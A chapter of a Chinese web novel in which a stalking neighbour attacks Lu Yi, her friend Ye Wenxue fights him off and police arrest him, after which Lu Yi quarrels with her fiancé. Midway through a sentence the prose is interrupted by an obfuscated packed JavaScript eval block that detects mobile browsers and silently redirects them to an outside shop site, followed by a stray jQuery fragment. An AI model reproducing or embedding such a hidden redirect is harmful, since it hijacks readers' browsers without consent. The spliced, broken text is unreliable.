31. 争吵
    陆依流露出来的恐惧,反倒助长了男人的气焰。

    他的眼珠左右打转,像是嚼过的口香糖,死死黏在陆依的身上。

    气氛逐渐变得微妙起来。

    陆依不自觉地后退,靠着墙壁,有意拉开一段距离。男人却放下螺丝刀,缓缓站起身来,一步一步朝她走去。他的眼里不怀好意。

    “你、你不要过来。”陆依的声音有些颤抖。

    她环顾四周,想要寻求叶问雪的帮助,却看不到自己期盼的那个身影。

    叶问雪不见了。

    难道她丢下自己逃跑了?

    陆依感到绝望。她想要往后退,可是背后就是墙壁,已经退无可退。

    “啊!”

    男人突然伸手捂住她的嘴。陆依发出一声尖叫,随后疯狂挣扎起来。可是力有不敌,她的手腕被男人死死抓住,根本就不能动弹。

    陆依的脑袋一片空白。电光火石间,她猛地想起石桐跟她说过的话。如果遇到坏人,可以抬腿顶他的肚子,或者伸手去戳他的眼睛。

    她深吸一口气,使出浑身力气,将膝盖狠狠顶向男人的肋骨。

    男人吃痛松开了手,陆依立刻转身想要逃跑。没想到对方反应更快,她还没来得及跑,就被掐住脖子,桎梏在了原地。

    她的力气还是太小了,造成不了攻击性。

    这是陆依生平第一次,痛恨自己不够高大强壮。什么白幼瘦,什么A4腰,统统见鬼去吧!

    她现在只想要一具结实的身体,直接把这男的给干趴下。啊不,是痛殴一顿!

    这是陆依被掐住脖子,呼吸困难的瞬间,脑袋里仅有的念头。接着下一秒,她就看见叶问雪从男人的身后冒了出来。

    一记扫堂腿,直接踹上男人的脸颊。几颗牙齿瞬间飞出,在空中划出一个完美的弧度,滚落到浴室的地面。沾血的牙齿,贴着雪白的瓷砖,骨碌碌转了几下,留下一道血痕轨迹。

    叶问雪略带抱歉地说道:“不好意思,把你的地板弄脏了,待会我来打扫。”

    陆依听得一愣一愣的,心想这是重点吗,重点不应该是先解决掉眼前这个人吗?

    由于大脑cpu过载,她的语言系统有些混乱,几乎是凭借本能做出回答:“没关系,我自己打扫就可以。”

    叶问雪却坚持道:“不,还是我来吧。刚才我在给警察打电话,所以来晚了一些,让你受到了惊吓。我承诺过要保护你,却没有及时做到,理应让我来收拾。”

    直到这时,陆依才后知后觉地意识到,原来她并没有被叶问雪抛弃。她又哭又笑道:“真的不用。”

    “你、你们……”原本被踹伤的男人,吐了口血沫,将牙龈渗出的鲜血从嘴角擦去。

    看见两人对自己视若无睹,反而在互相客气打扫卫生的事,他觉得自己被小看了。

    他在暗处偷窥了这么久,无数次幻想破门而入的场景,想着身姿曼妙的女人折服于自己,却从未想过现在这种情况。

    她们不是应该害怕才对吗?这种时候就应该哭喊哀求,不断求饶啊!

    男人的眼珠瞪得浑圆,白眼球冒着血丝。他跌跌撞撞地爬起来,抄起手上的螺丝刀,就要朝叶问雪的头上砸去。

    “小心!”陆依喊道。

    叶问雪迅速后撤闪避,接着转身抬腿。脚侧直击男人的手腕,螺丝刀脱力飞出,掉落在不远处的地面,发出丁零当啷的声响。

    陆依眼疾手快捡起螺丝刀,生怕再被男人抢回去攻击。等她再一抬头,便见叶问雪后背微弓,用手肘击向男人的腹部。

    不过是眨眼的功夫,拳头接连出击,打得对方毫无还手之力。

    由于她的攻势迅猛,再加之失去了工具,男人便心生退意。他回头瞟了一眼,拨腿就朝门外跑去。

    “你要去哪里?”叶问雪沉声问道。

    她的话音刚落,窗外便响起一阵警笛声。声音由远及近,最终来到了楼下。

    男人跑到楼道口,才意识到早已无路可逃。前有狼,后有虎。他已经两面夹击,腹背受敌,根本逃不出法网恢恢。

    警车的灯光不断闪动,穿透午夜的黑暗。男人被警察抓住以后,还在油嘴滑舌为自己开脱。但不管他说得天花乱坠,还是要去警察局接受调查。

    陆依所在的居民楼设施老化,原先安装的监控已经损坏,却没有及时更新,无法获取直接的证据。

    好在早年修建的旧居民楼距离不规范,挨得特别近,可以清楚得看见隔壁楼道亮灯时的景象。因此,警方通过调取隔壁楼道的监控,发现男人已经连续数月在陆依家门口徘徊,甚至多次跟踪她回家。

    陆依做完笔录,看到这些监控影像,又是一阵后怕。

    此时已是凌晨五点,警察局内依然是灯火通明。值夜班的民警进进出出,办事大厅时不时传来警情播报。

    负责调监控的是一位短发女警,她给陆依倒了杯热水,轻声安慰了几句,然后说道:“□□猥亵、矛盾杀人等案件,大约70-80%都是熟人作案。你们小区的监控设施存在漏洞,嫌弃人应该早就知道,所以才敢肆意妄为。幸好这次比较走运,能从隔壁楼层清楚地看到作案过程。你放心,我们这边会对他做出相应的处罚。”

    陆依接过纸杯,抿了一小口热水,心情稍微平复了下来。她看了看叶问雪,对女警点头道:“谢谢,给你们添麻烦了。”

    女警微笑道:“不用谢,这是我应该做的……”

    “小依!”一声急促的叫喊打断了她们的谈话。只见王凯气喘吁吁地跑了进来,直奔陆依的跟前,焦急道:“没出什么事吧?”

    先前在来警察局做笔录的路上,陆依心里难受,没忍住给王凯打了个电话。

    王凯当时睡得正香,突然被这通电话吵醒,得知陆依被男邻居袭击的消息,顿时吓得瞌睡虫都跑没了。他匆忙换上衣服,就马不停蹄地赶了过来。

    手忙脚乱地检查了一顿,确认陆依没有受伤,王凯原本提到喉咙眼的那颗心,才彻底放了下来。他忍不住说道:“当初我跟你说,要你早点搬过来跟我住,你非要等结婚以后再说。现在好了,出事了吧?”

    陆依觉得有些委屈。她没想到自己受了惊吓,王凯不安慰她也就算了,竟然上来就是劈头盖脸一顿指责。

    当初王凯追她的时候,闹得轰轰烈烈,搞得公司里的人都知道。当时她有意避嫌,一直保持着距离。就算后来在一起,她也很在乎别人的看法,因此没有答应王凯的同居要求。直到临近结婚,她才松口,决定婚房装修好就搬到一起住。

    只是她没有想到,王凯会在这个时候翻旧账。她一晚上都在提心吊胆,又累又困没睡好觉,竭力压抑着负面情绪。

    原本就已是心力憔悴,现在再听到王凯的话,陆依一下子就受到了刺激,平日里被忽略的感受,原本该遗忘的委屈,全部爆发式喷涌而出。她扯着嗓子,质问道:“王凯,你什么意思,难道这事怪我?”

    王凯见她语气又冲又急,也感到有些气愤。自己三更半夜跑到警察局,担心得要命,她怎么还在耍小性子?

    他的态度强硬,怒道:“不怪你,难道怪我?还不是你自讨苦吃,非要住在那种不安全的垃圾小区,早搬过来跟我住,不就屁事都没有了吗!”

    陆依怪道:“你总是这样,总是以自我为中心!每次你都是横冲直撞,想干什么就干什么,从没有考虑过我的愿不愿意。我都跟你说过多少遍了,要低调,可你就是不听!”

    王凯拔高音量,反驳道:“你管别人怎么看啊,我是跟你谈恋爱,又不是跟别人谈恋爱。我凭什么要在乎他们的看法?”

    陆依语带哭腔:“你不在乎,可是我在乎。你家庭条件好,别人都要讨好你,所以你可以目中无人、肆意妄为。反正出了事,有人可以帮你兜底。可是我不行,我一直都是循规蹈矩,认认真真过日子,我当然要在乎别人的想法!”

    “我跟你真是说不通。”王凯用力抓了把头发,语气有些暴躁,“每次吵架,你就扯这些有的没的。我有钱,你没钱。那我把一切安排好,你老老实实接受不就行了吗?”

    陆依没说话,只是站在原地一个劲儿地抹眼泪。

    “听话,别在这闹脾气了,跟我回去休息。”王凯不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329223|149162||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    由分说地拉起她的手。

    “我不走!”陆依一把甩开他。

    王凯脾气上来了,也没了耐心:“好好好,你要待在这里,那就待在这里。我不管你了!”

    说完他就真的转身走了。

    他的身影逐渐远去,变成一个小圆点,最后消失在视野范围内。直到彻底看不见,陆依才蹲在警察局的门口,原地爆哭。她一边抹眼泪,一边抽抽噎噎地骂道:“谁要你管。有本事你这辈子都别出现在我面前。”

    女警看她哭得伤心,有些于心不忍,把外套脱下来,披在她的身上,轻声道:“现在温度低,你站在外面别吹风感冒了。进来坐会儿再走吧。”

    叶问雪回到大厅拿了些纸巾,默默递给陆依。

    陆依道了声谢,接过纸巾,又是抹眼泪,又是擤鼻涕。

    叶问雪叹了口气,想要说些安慰的话,却不知从何说起。这确实不是她擅长的事。

    她抬头望了一眼外面的天,问道:“你早餐想吃点什么?我去给你买。”

    陆依眼泪汪汪地抬起头,歪了歪脑袋:“早餐?”

    此时天空灰蒙蒙亮,泛着鱼肚白。经过漫漫长夜,即将迎来破晓。陆依这才意识到,经过一晚上的折腾,天已经快亮了。

    “好,我们去吃早餐。”陆依突然站了起来。

    她才不会轻易认输。

    自以为是的臭男人,根本不值得她流眼泪。

    就算昨天狂风暴雨,也不能影响她今天的风和日丽。

    因为时候还早,开门的早餐店并不多。卖豆浆的小店冒着热气,竹编蒸笼里的包子飘出香味。陆依拉着叶问雪走进店内,把价目表里的食物一股脑勾上,全部都点了一遍。

    陆依疯狂往嘴里塞着食物,两颊鼓鼓囊囊,口齿不清地说道:“我真的是脑袋抽筋,才为了那混蛋减肥。真是不值得!”

    “他以为我天生不爱吃东西吗?我也想要吃炸鸡、冰淇淋、奶茶、汉堡、火锅,想吃各种高热量的东西。可是为了变瘦变美,我全部都忍了下来。”

    陆依边说边用筷子使劲戳包子。她把眼前的肉包子当作王凯替身,直接戳了个稀巴烂。

    稍微解气了一点,她的眼泪又不争气地流了出来:“呜呜坏蛋,自大狂,他根本不理解我。凭什么男人就不会容貌焦虑,不用拼命化妆打扮,不会跟跟踪尾随,不用担惊受怕!这到底是凭什么?”

    “他没有经历过,所以永远也不会理解我!”

    这一刻,叶问雪突然明白了。她终于明白了曾经未能理解的恐惧。

    在女尊国的时候,她一直身处高位。既享受着性别优势,又拥有着权利地位。她健壮、强大、富有,没有任何值得恐惧的东西存在。所以,她无法理解宵禁改制以后,为什么男人不敢在夜晚出门?为什么处在安稳的大环境中,他们仍然害怕走夜路?

    那时的她,正如现在的王凯。他们理所当然从自身的视角出发,用傲慢而不自知地态度评价着他人的行为。

    身处高位的人,不能理解低位者的不安。同样,强者不能理解弱者的恐惧。拥有特权的人,总是对此毫无知觉。因为他们早已习以为常。

    很少有人能真正做到感同身受,除非他真正经历过同样的事情。

    无意识的傲慢,在哪里都存在,甚至本人都不曾知晓。如果她没有来到这个世界,或许她永远都不会意识到。那么,曾经的谢鸢呢?如果谢鸢不曾去过女尊国,那么他又是一个怎样的人?

    叶问雪忽然觉得,自己对这个世界很陌生,对谢鸢也很陌生。曾经在女尊国生活过的谢鸢,当时到底在想些什么。她不知道,也从未真正了解过。

    如果不是那一场大火,让谢鸢为了自己而死,或许她这辈子都不会真正在意谢鸢。不过是一个有些姿色的男人,性格也还算可以,很快就会被她遗弃在记忆的角落。

    原来她在女尊国,以上位者的姿态,自己都不曾察觉地凝视着谢鸢。而来到这里以后,这个世界在凝视着她。

    不管是被纠缠的程嫣,还是忍气吞声的卢晓,以及现在的陆依,她们都在被这个世界凝视。